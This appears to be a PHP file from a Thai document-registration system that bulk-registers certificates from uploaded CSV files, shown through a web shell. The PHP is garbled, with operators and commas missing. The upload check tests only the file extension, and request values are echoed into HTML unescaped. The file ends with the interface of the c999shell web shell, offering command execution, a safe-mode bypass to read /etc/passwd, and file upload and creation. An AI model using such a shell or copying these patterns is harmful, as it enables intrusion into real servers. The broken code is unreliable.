$DocNo preg_replace("/%o/""$oSys->sysDocNo"$DocNo);
                
$DocNo preg_replace("/%d/""$oDP->deptNo"$DocNo);
                
$DocNo preg_replace("/%r/""$oDoc->DocTypeNo"$DocNo);
                
$Y date('Y')+543;
                
$DocNo preg_replace("/%y/""$Y"$DocNo);
                
                
$oDoc->DocNo=$DocNo;
                
//echo "DocNo=".$oDoc->DocNo."<br>"; 
                
$oDoc->DocSubject=$DocSubject;
                
//echo "DocSubject=".$oDoc->DocSubject."<br>"; 
                
$oDoc->DocFrom=$DocFrom;
                
//echo "DocFrom=".$oDoc->DocFrom."<br>"; 
                
$oDoc->DocShortDesc=$DocShortDesc;
                
$oDoc->DocGroup=$DocGroup;
                
//echo "DocGroup=".$oDoc->DocGroup."<br>"; 
                
$oDoc->CertificatePs=$name;
                
$oDoc->endDoc="Y";
                    if(
$useMainDocNo=="Y"){  $useMainDocNo="Y";  }else{ $useMainDocNo="N";  }
                
$oDoc->useMainDocNo=$useMainDocNo;
                
$oDoc->Save();
                
//echo "<br><br>";

                //---------------add DocReceiveSend
                
$oRs->AddNew();
                
$oRs->DrsID=$oRs->GetNextCode();
                
$oRs->DocID=$e;
                
$oRs->DlcID=$DlcID;
                
//echo "R-DlcID=".$oRs->DlcID."<br>"; 
                
$oRs->DsID=1;
                
$oRs->PtID=$oRs->PtID;
                
$oRs->DrsDocTypeNo=$oDoc->DocTypeNo;
                
//echo "R-DrsDocTypeNo=".$oRs->DrsDocTypeNo."<br>"; 
                
$oRs->DrsReceiveDate=$DocDateCreate;
                
//echo "R-DrsReceiveDate=".$oRs->DrsReceiveDate."<br>"; 
                
$oRs->DrsReceivePersonId=$personId;
                
//echo "R-DrsReceivePersonId=".$oRs->DrsReceivePersonId."<br>"; 
                
$oRs->DrsDlcIDCreate=$DlcID;
                
//echo "R-DrsDlcIDCreate=".$oRs->DrsDlcIDCreate."<br>"; 
                
$oRs->DrsPsIDCreate=$personId;
                
//echo "R-DrsPsIDCreate=".$oRs->DrsPsIDCreate."<br>"; 
                
$oRs->DocGroup=$DocGroup;
                
//echo "R-DocGroup=".$oRs->DocGroup."<br>"; 
                
$oRs->DrsflagRead="N";
                
//echo "R-DrsflagRead=".$oRs->DrsflagRead."<br>";     
                
$oRs->Save();
                
//echo "------------------<br>";        
             
$i++;
            }    
        }
    
echo 
"<meta http-equiv='refresh' content='0; URL=regisDoc.php?RsID=$RsID&DtID=$DtID&flagshow=1'>";


}else if(
$method=="confirmRegisterDocAllreg"){
    echo 
"<br><br><div align=\"center\"><strong>กรุณารอสักครู่ ระบบกำลังดำเนินการลงทะเบียนหนังสือรับรองจำนวน ".$countps." รายการ</strong></div>";
    
$oDt1->SearchByKey($DtID);
    
$oDt1->GetRecord();
    
    
$oSys->RSsysConfig();
    
$oSys->GetRecord();

    
$oDP2->SearchByKey($deptId);
    
$oDP2->GetRecord();
            
    if(
$oDP2->deptLevel!=0){
        
$deptId=SearchdeptIdlevel0($oDP2->deptParentId);
    }
        
    
$oDP->SearchByKey($deptId);
    
$oDP->GetRecord();
    
/*    
        $oRd->SearchRunningBydocGroupDtID2($DocGroup,$DtID);
        $oRd->GetRecord();
*/
        
        
if($oSys->useDocTypeNoMix=='N'){  
            
$oRd->SearchRunningBydocGroupDtIDdocNoMixN($DocGroup,$DtID,$deptId);
            
$oRd->GetRecord();        
        }else{
            
$oRd->SearchRunningBydocGroupDtIDdocNoMixY($DocGroup,$DtID);
            
$oRd->GetRecord();        
        }
        
//echo $oRd->regisNo;
        
        
if($oRd->regisNo=="0"){
            
$reNo=$oRd->regisNoStart;
        }else{
            
$reNo=$oRd->regisNo;
        }

        
$oRd->Edit();
        
//$reNo=$oRd->regisNo;
        
$oRd->regisNo=($reNo+$countps);
        
$oRd->Save();
        
        
$UPath=$GLOBALS['path_upload_uploadfile'].$filename;    
        
$fp fopen($UPath"r");
        
$i 1;
        
$timeDocDateCreate=getNowDateTh()." ".date('H:i:s');
        while(!
feof($fp)) {                        
            
$char fgets($fp);
            
$stdCode=""$prefixname=""$name=""$surname="";
            list(
$stdCode,$prefixname$name$surname) = preg_split('[,]'$char); 
            
$DocNo="";
            if(
$stdCode!=""){
             
//echo $name."เลขทะเบียน=".($reNo+$i)."<br>"; 
                
$oDoc->AddNew();
                
$oDoc->DocID=$oDoc->GetNextCode();
                
$e=$oDoc->GetNextCode();
                
$oDoc->DlcID=$DlcID;
                
//echo "DlcID=".$oDoc->DlcID."<br>"; 
                
$oDoc->DtID=$DtID;
                
//echo "DtID=".$oDoc->DtID."<br>"; 
                
$oDoc->DsID=1;
                
$oDoc->RsID=$RsID;
                
//echo "RsID=".$oDoc->RsID."<br>"; 
                
$oDoc->DocDateCreate=$timeDocDateCreate;
                
$DocDateCreate=$oDoc->DocDateCreate;
                
$oDoc->DocUserCreate=$personId;
                
//echo "DocUserCreate=".$oDoc->DocUserCreate."<br>"; 
                
$oDoc->DocTypeNo=($reNo+$i);
                
// echo "DocTypeNo=".$oDoc->DocTypeNo."<br>"; 
                
$oDoc->DocDate=splitDateForm($DocDate,"/");
                
// echo "DocDate=".$oDoc->DocDate."<br>"; 
                
                
if($oDt1->sendNoPrefix!=""){
                    
$DocNo=$oDt1->sendNoPrefix;
                }
                if(
$oDt1->sendNoSuffix!=""){
                    
$DocNo=$DocNo.$oDt1->sendNoSuffix;
                }
                
$DocNo preg_replace("/%o/""$oSys->sysDocNo"$DocNo);
                
$DocNo preg_replace("/%d/""$oDP->deptNo"$DocNo);
                
$DocNo preg_replace("/%r/""$oDoc->DocTypeNo"$DocNo);
                
$Y date('Y')+543;
                
$DocNo preg_replace("/%y/""$Y"$DocNo);
                
                
$oDoc->DocNo=$DocNo;
                
//echo "DocNo=".$oDoc->DocNo."<br>"; 
                
$oDoc->DocSubject=$DocSubject;
                
//echo "DocSubject=".$oDoc->DocSubject."<br>"; 
                
$oDoc->DocFrom=$DocFrom;
                
//echo "DocFrom=".$oDoc->DocFrom."<br>"; 
                
$oDoc->DocShortDesc=$DocShortDesc;
                
//echo "DocShortDesc=".$oDoc->DocShortDesc."<br>"; 
                
$oDoc->DocGroup=$DocGroup;
                
//echo "DocGroup=".$oDoc->DocGroup."<br>"; 
                
$oDoc->CertificatePs=$prefixname.$name.' '.$surname;
                
$oDoc->endDoc="Y";
                    if(
$useMainDocNo=="Y"){  $useMainDocNo="Y";  }else{ $useMainDocNo="N";  }
                
$oDoc->useMainDocNo=$useMainDocNo;
                
$oDoc->stdCode=$stdCode;
                
$oDoc->Save();
                
//echo "<br><br>";

                //---------------add DocReceiveSend
                
$oRs->AddNew();
                
$oRs->DrsID=$oRs->GetNextCode();
                
$oRs->DocID=$e;
                
$oRs->DlcID=$DlcID;
                
//echo "R-DlcID=".$oRs->DlcID."<br>"; 
                
$oRs->DsID=1;
                
$oRs->PtID=$oRs->PtID;
                
$oRs->DrsDocTypeNo=$oDoc->DocTypeNo;
                
//echo "R-DrsDocTypeNo=".$oRs->DrsDocTypeNo."<br>"; 
                
$oRs->DrsReceiveDate=$DocDateCreate;
                
//echo "R-DrsReceiveDate=".$oRs->DrsReceiveDate."<br>"; 
                
$oRs->DrsReceivePersonId=$personId;
                
//echo "R-DrsReceivePersonId=".$oRs->DrsReceivePersonId."<br>"; 
                
$oRs->DrsDlcIDCreate=$DlcID;
                
//echo "R-DrsDlcIDCreate=".$oRs->DrsDlcIDCreate."<br>"; 
                
$oRs->DrsPsIDCreate=$personId;
                
//echo "R-DrsPsIDCreate=".$oRs->DrsPsIDCreate."<br>"; 
                
$oRs->DocGroup=$DocGroup;
                
//echo "R-DocGroup=".$oRs->DocGroup."<br>"; 
                
$oRs->DrsflagRead="N";
                
//echo "R-DrsflagRead=".$oRs->DrsflagRead."<br>";     
                
$oRs->Save();
                
//echo "------------------<br>";        
             
$i++;
            }    
        }
    
echo 
"<meta http-equiv='refresh' content='0; URL=regisDoc.php?RsID=$RsID&DtID=$DtID&flagshow=1'>";
}else if(
$method=="upload_file"){
    
$rootdir $GLOBALS['path_upload_uploadfile']; //กำหนด directoryบเก็บ file ที่จะ upload เข้าไป
    
$oSys->RSsysConfig();
    
$oSys->GetRecord();
    
$oSys->filesizebyte;
    
$limitfile=($oSys->filesizebyte);
    
$fileName date('dmY_His');
    
$docPath "$rootdir".$fileName.".csv";
    if(
$_FILES['uploadfile']['size'] > $limitfile) {
    
?>
            <form  METHOD="POST" action="addRegisDocAll.php">
                <input type="hidden" name="c" id="c"  value="1">
                <input type="hidden" name="DtID" id="DtID"  value="<? echo $DtID?>">
                <input type="hidden" name="RsID" id="RsID"  value="<? echo $RsID?>">
                <input type="hidden" name="DocDate"  id="DocDate" value="<? echo $DocDate;?>">
                <input type="hidden" name="DocSubject"  id="DocSubject"  value="<? echo $DocSubject;?>">
                <input type="hidden" name="DocFrom" id="DocFrom"  value="<? echo $DocFrom;?>">
                <input type="hidden" name="DocShortDesc" id="DocShortDesc"  value="<? echo $DocShortDesc;?>">
                <input type="hidden" name="useMainDocNo" id="useMainDocNo"   value="<? echo $useMainDocNo?>">
            </form>
    <? echo "<body onload=\"document.forms[0].submit();\">";
    }
    else if(
substr($_FILES['uploadfile']['name'], -3) != 'csv') {
    
?>
            <form  METHOD="POST" action="addRegisDocAll.php">
                <input type="hidden" name="c" id="c"  value="2">
                <input type="hidden" name="DtID" id="DtID"  value="<? echo $DtID?>">
                <input type="hidden"  name="RsID" id="RsID" value="<? echo $RsID?>">
                <input type="hidden" name="DocDate" id="DocDate"  value="<? echo $DocDate;?>">
                <input type="hidden" name="DocSubject" id="DocSubject"  value="<? echo $DocSubject;?>">
                <input type="hidden" name="DocFrom"  id="DocFrom" value="<? echo $DocFrom;?>">
                <input type="hidden" name="DocShortDesc"  id="DocShortDesc" value="<? echo $DocShortDesc;?>">
                <input type="hidden" name="useMainDocNo" id="useMainDocNo"  value="<? echo $useMainDocNo?>">
            </form>
    <? echo "<body onload=\"document.forms[0].submit();\">";
    }
    else {
            
copy($_FILES['uploadfile']['tmp_name'], $docPath);    
    
?>
            <form  METHOD="POST" action="addRegisDocAll.php">
                <input type="hidden" name="c" id="c" value="3">
                <input type="hidden" name="n" id="n"  value="<? echo $fileName.".csv"?>">
                <input type="hidden" name="s" id="s"  value="<? echo $uploadfile_size?>">
                <input type="hidden" name="DtID" id="DtID"  value="<? echo $DtID?>">
                <input type="hidden" name="RsID" id="RsID"  value="<? echo $RsID?>">
                <input type="hidden" name="DocDate" id="DocDate"  value="<? echo $DocDate;?>">
                <input type="hidden" name="DocSubject"  id="DocSubject"  value="<? echo $DocSubject;?>">
                <input type="hidden" name="DocFrom" id="DocFrom"  value="<? echo $DocFrom;?>">
                <input type="hidden" name="DocShortDesc"  id="DocShortDesc" value="<? echo $DocShortDesc;?>">
                <input type="hidden" name="useMainDocNo"  id="useMainDocNo" value="<? echo $useMainDocNo?>">
            </form>
    <? echo "<body onload=\"document.forms[0].submit();\">";
    }
}else if(
$method=="upload_filereg"){
    
$rootdir $GLOBALS['path_upload_uploadfile']; //กำหนด directoryบเก็บ file ที่จะ upload เข้าไป
    
$oSys->RSsysConfig();
    
$oSys->GetRecord();
    
$oSys->filesizebyte;
    
$limitfile=($oSys->filesizebyte);
    
$fileName date('dmY_His');
    
$docPath "$rootdir".$fileName.".csv";
    
    if(
$_FILES['uploadfile']['size'] > $limitfile) {
    
?>
            <form  METHOD="POST" action="addRegisDocAllReg.php">
                <input type="hidden" name="c" id="c"  value="1">
                <input type="hidden" name="DtID" id="DtID"  value="<? echo $DtID?>">
                <input type="hidden" name="RsID" id="RsID"  value="<? echo $RsID?>">
                <input type="hidden" name="DocDate" id="DocDate"  value="<? echo $DocDate;?>">
                <input type="hidden" name="DocSubject" id="DocSubject"  value="<? echo $DocSubject;?>">
                <input type="hidden" name="DocFrom" id="DocFrom"  value="<? echo $DocFrom;?>">
                <input type="hidden" name="DocShortDesc" id="DocShortDesc"  value="<? echo $DocShortDesc;?>">
                <input type="hidden" name="useMainDocNo" id="useMainDocNo"  value="<? echo $useMainDocNo?>">
            </form>
    <? echo "<body onload=\"document.forms[0].submit();\">";
    }
    else if(
substr($_FILES['uploadfile']['name'], -3) != 'csv') {
    
?>
            <form  METHOD="POST" action="addRegisDocAllReg.php">
                <input type="hidden" name="c" id="c"  value="2">
                <input type="hidden" name="DtID" id="DtID"  value="<? echo $DtID?>">
                <input type="hidden" name="RsID"  id="RsID"  value="<? echo $RsID?>">
                <input type="hidden" name="DocDate" id="DocDate"  value="<? echo $DocDate;?>">
                <input type="hidden" name="DocSubject"  id="DocSubject"  value="<? echo $DocSubject;?>">
                <input type="hidden" name="DocFrom"  id="DocFrom"  value="<? echo $DocFrom;?>">
                <input type="hidden" name="DocShortDesc"  id="DocShortDesc"  value="<? echo $DocShortDesc;?>">
                <input type="hidden" name="useMainDocNo" id="useMainDocNo"  value="<? echo $useMainDocNo?>">
            </form>
    <? echo "<body onload=\"document.forms[0].submit();\">";
    }
    else {
            
copy($_FILES['uploadfile']['tmp_name'], $docPath);    
    
?>
            <form  METHOD="POST" action="addRegisDocAllReg.php">
                <input type="hidden" name="c"  id="c"  value="3">
                <input type="hidden" name="n" id="n"  value="<? echo $fileName.".csv"?>">
                <input type="hidden" name="s" id="s"  value="<? echo $uploadfile_size?>">
                <input type="hidden" name="DtID" id="DtID"  value="<? echo $DtID?>">
                <input type="hidden" name="RsID" id="RsID"  value="<? echo $RsID?>">
                <input type="hidden" name="DocDate"  id="DocDate" value="<? echo $DocDate;?>">
                <input type="hidden" name="DocSubject" id="DocSubject"  value="<? echo $DocSubject;?>">
                <input type="hidden" name="DocFrom"  id="DocFrom"  value="<? echo $DocFrom;?>">
                <input type="hidden" name="DocShortDesc" id="DocShortDesc"  value="<? echo $DocShortDesc;?>">
                <input type="hidden" name="useMainDocNo" id="useMainDocNo"  value="<? echo $useMainDocNo?>">
            </form>
    <? echo "<body onload=\"document.forms[0].submit();\">";
    }
}else if(
$method=="RegisterDocAll"){
        echo 
"<meta http-equiv='refresh' content='0; URL=addRegisDocAll.php?success=1&n=$fileName&RsID=$RsID&DtID=$DtID'>";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0125 ]--